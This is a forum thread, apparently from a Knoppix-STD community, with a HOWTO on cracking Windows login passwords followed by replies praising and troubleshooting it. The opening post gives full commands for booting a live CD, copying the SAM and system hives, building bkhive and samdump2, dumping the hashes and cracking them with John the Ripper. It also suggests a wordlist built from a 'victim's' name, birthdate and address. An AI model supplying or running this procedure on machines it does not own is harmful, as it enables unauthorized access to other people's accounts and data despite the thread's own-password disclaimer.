Topic: HOWTO: Crack windows passwords...

Hi all,

Firstly, this is a HOWTO on getting a windows password with additional syskey-encryption. Second, you're doing this on your own behalf and don't use it wrong or visciously. Lastly, there are 5 steps beneath in doing so. Have fun! wink

Step 1: Boot Knoppix S-T-D and get access to windows:
Put your Knoppix S-T-D cd in your cd-rom and boot up your computer. Make sure that bios is set to boot the cd-rom.
First, we need some information on the system: (press ALT+F5 to open the shell in which we will type every command in)

 cat /etc/fstab 

This will output something like this:

proc       /proc       proc   defaults            0 0
pts        /dev/pts    devpts mode=0622           0 0
/dev/fd0   /mnt/auto/floppy auto   user,noauto,exec,umask=000    0 0
/dev/cdrom /mnt/auto/cdrom  auto   user,noauto,exec,ro 0 0

/dev/cdrom1 /mnt/auto/cdrom1  auto   users,noauto,exec,ro 0 0
# Added by KNOPPIX
/dev/hda1 /mnt/hda1 ntfs noauto,users,exec,ro,uid=knoppix,gid=knoppix 0 0

Remember that we want to get the windows logon password, so in the most cases you should look for a harddisc with the
NTFS filesystem.Take a look at the output above. You will see that there is a NTFS-harddisc the: '/dev/hda1'. To get
access to this drive you have to 'mount' it:

 mount -r /dev/hda1 /mnt/hda1 

The drive 'hda1' is now located in '/mnt/hda1'. Note that you can't write to the NTFS-drive only read.

Step 2: Get information needed to crack the password:
Now that we have access to our selected windows-drive we need two files: the SAM and system file.
They are located in %WINDIR% / system32 / config:

cp /mnt/hda1/WINDOWS/system32/config/SAM SAM
cp /mnt/hda1/WINDOWS/system32/config/system system

The files are now copyied to your RAM (from which Knoppix S-T-D normally read/writes to).

The 'SAM' file contains the security accounts information of the system's users and the 'system' hive which has the
data to provide a bootkey for syskey (encryption method). The passwords in SAM is encrypted in MD5 and ontop of that
with the syskey encryption, which Microsoft calls a "complex  obfuscation algorithm"..

Step 3: Download and install needed programs:
We have now got enough data to retrieve the password(s), therefore we now, firstly, need to get the bootkey to
decrypt the syskey-encryption. We use a program called 'BkHive'. To optain the program type:

 wget http://studenti.unina.it/~ncuomo/syskey/bkhive_linux.tgz

(If this throws any exceptions at you, just go here and download it)

You will notice that the file's extension is .tgz and that means that it is compressed. Now create a directory to
extract to and decompress and compile the program:

mkdir bkhive
cd bkhive
tar xzf ../bkhive_linux.tgz
g++ -o bkhive *.cpp
cd ..

The second program needed is the 'Samdump2', which can dump Windows 2k/NT/XP password hashes so it can be cracked.
Download it:

 wget http://studenti.unina.it/~ncuomo/syskey/samdump2_linux.tgz

(If this throws any exceptions at you, just go here and download it)
Decompress and compile it:

tar xzf samdump2_linux.tgz
cd des/
tar zxf libdes-4.01.tar.gz
make gcc
cd ..
gcc -c md5_dgst.c rc4_enc.c rc4_skey.c
g++ -o samdump2 samdump2.cpp hive.cpp md5_dgst.o rc4_enc.o rc4_skey.o des/libdes.a 

Step 4: Use programs to optain password hashes:
The programs are now installed and ready to be used.
First, we need to get the bootkey to get rid of the syskey decryption of our password hashes:

bkhive/bkhive system bootkey

Second, we use the bootkey and SAM with samdump2 to generate our password hashes in a file:

./samdump2 SAM bootkey > hashes

Step 5: Crack the passwords:

First of all note that the process of cracking a password can take hours even days if complex and long enough. However it can be done faster, but keep in mind that it differs. Also, there is many programs to use to crack passwords and we will use 'John'. John is preinstalled on the Knoppix S-T-D and is free to use. We say that 'Test' is a user on the windows-machine and that the password is 'KANDUSE' (I tried on my own computer with these informations).
Now to the cracking:

/etc/john/john -user:Test hashes

I got the following output:

Loaded 1 password (NT LM DES [24/32 4K])
KANDUSE          (Test:1)
guesses: 1  time: 0:00:14:26 (3)  c/s: 512664  trying: KHERCUL - KNDRROL

It took 14 minutes and 26 seconds to crack it on my computer, but it could just as well have lasted 3 minutes or 2 hours or more. Note that if there is more than one user on the computer you can as well exclude the '-user:Test' part if you want John to crack every password at once.

If you have some words that you would like it to check for first, we can use a 'wordfile'. A wordfile contains words to search for. Example of wordfile:

victimsname
victimsbirthdate
victimsaddress
... etc.

You only put one word on each line and you can set as many as you would like to.
Now we want to use the wordfile so we simply put in the parameter "-wordfile:filename". Like this:

/etc/john/john -wordfile:my_file password_file

This will speed up the process if you have some good ideas of what the password could be.

If you missed what the cracked password was you can use this command to request it:

/etc/john/john -show password_file

This will show something like this (I filtered it a bit):

[Username]:[Password]:(additional information here)

x password cracked, x left

It is also good to know that if john cracks a password longer than 8 chararacters it will break it into two parts. Like this:

Loaded x password (NT LM DES [24/32 4K])
12345678          (Test:1)
9                 (Test:2)
guesses: x  time: x:xx:xx:xx (x)  c/s:xxxx  trying: xxxxx - xxxxx

If you don't know the user names for the computer (and in the most cases you probrably don't) you can make 'chntpw' list them for you:

chntpw -l SAM

This will generate something like this:

chntpw version 0.99.1 030126, (c) Petter N Hagen
Hive's name (from header): <SystemRootSystem32ConfigSAM>
ROOT KEY at offset: 0x001020
Page at 0x9000 is not 'hbin', assuming file contains garbage at end
File size 262144 [40000] bytes, containing 8 pages (+ 1 headerpage)
Used for data: 337/29520 blocks/bytes, unused: 11/2992 blocks/bytes.
Hello, this is SAM!
Failed logins before lockout is: 0
Minimum password length        : 0
Password history count         : 0
RID: 01f4, Username: <Administrator>
RID: 03f4, Username: <Test>

Hives that have changed:
 #  Name
None!

Above we used the user 'Test' and is located here in the output:

RID: 03f4, Username: <Test>

To show that a password cracking could take less time, we try setting a password on your Knoppix S-T-D to crack. Type:

passwd knoppix

The system now requests a password, type 1234. Then retype when asked.
Now we need to dump it to a file so it can be cracked and use John to do it:

/etc/john/unshadow /etc/passwd /etc/shadow > crack.this
/etc/john/john crack.this

This should not take that long because it is a very easy password to crack.
You will see an output much like this:

Loaded 1 password (Standard DES [24/32 4K])
1234             (knoppix)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 3024  trying: 12345 - robert

This is an approach on how to retrieve a password for windows.

I hope someone will find this easy enough to understand and helpful.
Remember!! Only use this if you i.e loose your own password or if you need to help your friend.

I take no responsibillity or what-so-ever if you use it unjust.

Regards. smile

- Sir Erugor

When the future is certain, you are dead

Re: HOWTO: Crack windows passwords...

awsome post...Im sold!!!

Re: HOWTO: Crack windows passwords...

Well thank you wink

- Sir Erugor

When the future is certain, you are dead

Re: HOWTO: Crack windows passwords...

Very nice ma danish friend big_smile

I like it ... nice and easy to understand smile

grep -i "^ * [0-9]" AE001441.gb | cut -c 11-75 | grep -v "^ " | less

Re: HOWTO: Crack windows passwords...

I'm glad, dude! big_smile

Np - Love to help ppl.

- Sir Erugor

When the future is certain, you are dead

Re: HOWTO: Crack windows passwords...

well i have to say i should bribe people some more.

exceptional work wink

moved to cracker an stickied

Re: HOWTO: Crack windows passwords...

;D .. I'm glad you like it, dude.

*bows* tongue

yeah, I thought it was a Usage HOWTO. smile

- Sir Erugor

When the future is certain, you are dead

Re: HOWTO: Crack windows passwords...

yeah it is as well but we have all these forums so we might as well use them wink

Re: HOWTO: Crack windows passwords...

Of course. I understand smile

Btw. as I wrote on the msc. chat.. I'd like some more skins for this forum! big_smile.. Here: http://knoppix-S-T-D.org/forum/viewtopi … highlight=

- Sir Erugor

When the future is certain, you are dead

Re: HOWTO: Crack windows passwords...

SirErugor - excellent work and HOWTO very nice.

Fat - let's put this on the FAQ list.

--r00t

Everything that has a beginning has an end..   ~~The Oracle
http://www.albanywifi.com

11

Re: HOWTO: Crack windows passwords...

a few humble suggestions for the next version of this soon to be very popular HOWTO:

we need to either identify a method for testing if syskey is enabled or we should test the impact of using bkhive etc on a non syskey enabled machine

we should expand on the limitations of brute force by quoting some stats e.g. if you password has chars, numbers and letters then you may be out of luck as it will take 2 years to crack. The idea being to educate users to sculpt there brute force attacks based on information they know before kicking it off.

we should explain the difference between LM and NTLM cracking

we should include and example of a hash file with what the common fields mean

we should say that breaking the password is always prefereable to changing it  with chntpwd quoting EFS

and finally include a strong warning that messing about with these things could lock you out your box (although unlikely)

Kudos

Re: HOWTO: Crack windows passwords...

r00t 4orce, Thanks. I'm glad you all like it. smile

fat, yeah I see there is some shortcomings, but I don't know if I'm gonna write the new one today though. wink Also, do you want it updated or as a PartTwo?

- Sir Erugor

When the future is certain, you are dead

13

Re: HOWTO: Crack windows passwords...

no rush old boy whever you get the time. i think it is better to edit and expand on this one as the definative single howto

Re: HOWTO: Crack windows passwords...

Hehe I shall not rush then.

Yeah that is most preferable for me too. There are something needed to be edited, infact, I already have edited some here and there.

But I will update it. smile

- Sir Erugor

When the future is certain, you are dead

Re: HOWTO: Crack windows passwords...

Just an FYI guys -
I will be putting together an S-T-D/Windows version of this ..
i.e. using S-T-D to get the SAM and system files, drop them to a usbkey, and then going "offline" to windows to use bkhive, samdump2, and john. 
Just another "twist" on a good idea.  Some users may have a "more powerful" windows box availalbe than using those 3 parts from the LIVE CD environment of S-T-D.

Stay tuned for the post.

--r00t

Everything that has a beginning has an end..   ~~The Oracle
http://www.albanywifi.com

Re: HOWTO: Crack windows passwords...

I don't get it.. Isn't it the same as what I already have written.. tongue?
Well of course the individual could think of taking it at home and do the same stuff from there, no? :S

- Sir Erugor

When the future is certain, you are dead

Re: HOWTO: Crack windows passwords...

SirErugor - yes it will be similar to yours - but the actual "cracking" will take place in a windows environment. 
There are a few reasons for this :
Many people that will "find" this thread will probably be more versed in windows, also as i mentioned doing the cracking from a "Non-live CD" environment *may* produce faster results as the system might not be being taxed as much ...

--r00t

Everything that has a beginning has an end..   ~~The Oracle
http://www.albanywifi.com

Re: HOWTO: Crack windows passwords...

Oh smile Cool! I'm looking forward to that article then. wink

- Sir Erugor

When the future is certain, you are dead

Re: HOWTO: Crack windows passwords...

root@0[knoppix]# samdump2 SAM bootkey > hashes
bash: samdump2: command not found

^ Why do i get this error ?

List over files:

totalt 3936
drwxr-xr-x    2 root     root          120 2004-12-16 17:13 bkhive
-rw-r--r--    1 root     root         3030 2004-11-27 02:27 bkhive_linux.tgz
-rw-r--r--    1 root     root           16 2004-12-16 17:16 bootkey
drwxr-xr-x    2 root     root           40 2004-12-16 18:00 conf
-rw-r--r--    1 root     root            0 2004-12-16 17:18 crack.this
drwxrwxrwx    5 1004     513          2300 2004-12-16 17:15 des
drwxr-xr-x    3 knoppix  knoppix       200 2004-12-16 17:03 Desktop
-rwxrwxrwx    1 1004     513          9382 2004-03-12 22:45 e_os2.h
-rw-r--r--    1 root     root            0 2004-12-16 17:21 hashes
-rwxrwxrwx    1 1004     513          3417 2004-11-26 11:40 hive.cpp
-rwxrwxrwx    1 1004     513          2510 2004-11-26 11:42 hive.h
-rwx------    1 1004     513           524 2004-11-27 02:29 makedes
-rwx------    1 1004     513           324 2004-11-27 02:31 Makefile
-rwxrwxrwx    1 1004     513         18718 2004-03-12 22:45 md32_common.h
-rwxrwxrwx    1 1004     513          9860 2004-03-12 22:45 md5_dgst.c
-rw-r--r--    1 root     root         6028 2004-12-16 17:15 md5_dgst.o
-rwxrwxrwx    1 1004     513          4638 2004-03-12 22:45 md5.h
-rwxrwxrwx    1 1004     513          7035 2004-03-12 22:45 md5_locl.h
-rwxrwxrwx    1 1004     513          5218 2004-03-12 22:45 opensslconf.h
-rwxrwxrwx    1 1004     513          3656 2004-03-12 22:45 opensslv.h
-rwxrwxrwx    1 1004     513         10531 2004-03-12 22:45 rc4_enc.c
-rw-r--r--    1 root     root         2439 2004-12-16 17:15 rc4_enc.o
-rwxrwxrwx    1 1004     513          3684 2004-03-12 22:45 rc4.h
-rwxrwxrwx    1 1004     513          4350 2004-03-12 22:45 rc4_skey.c
-rw-r--r--    1 root     root         1376 2004-12-16 17:15 rc4_skey.o
-rw-------    1 root     root       262144 2004-12-16 17:12 SAM
-rwxr-xr-x    1 root     root        35126 2004-12-16 17:16 samdump2
-rwxrwxrwx    1 1004     513          9225 2004-03-12 22:45 samdump2.cpp
-rw-r--r--    1 root     root       137392 2004-11-27 02:31 samdump2_linux.tgz
-rw-------    1 root     root      3670016 2004-12-16 17:12 system
drwxr-xr-x    2 knoppix  knoppix        40 2002-12-10 21:34 tmp

grep -i "^ * [0-9]" AE001441.gb | cut -c 11-75 | grep -v "^ " | less

Re: HOWTO: Crack windows passwords...

Is it the first error that occured trying to break the pwd?

I mean it should not throw any errors at you if you compiled and installed nicely. You sure you didn't do something else than I stated in the guide?

- Sir Erugor

When the future is certain, you are dead

Re: HOWTO: Crack windows passwords...

Im sure ... its the 4 time I run true the tutorial ...

grep -i "^ * [0-9]" AE001441.gb | cut -c 11-75 | grep -v "^ " | less

Re: HOWTO: Crack windows passwords...

And yes it the first error I get in this tutorial

grep -i "^ * [0-9]" AE001441.gb | cut -c 11-75 | grep -v "^ " | less

Re: HOWTO: Crack windows passwords...

it works now ... i had to write /home/knoppix/samdump2

grep -i "^ * [0-9]" AE001441.gb | cut -c 11-75 | grep -v "^ " | less

Re: HOWTO: Crack windows passwords...

Hehe.. how delightful! wink
Ii's always nice to solve something yourself..

- Sir Erugor

When the future is certain, you are dead

25

Re: HOWTO: Crack windows passwords...

also worth changing example to use a >8 character passord which john will see as 2 passwords using LM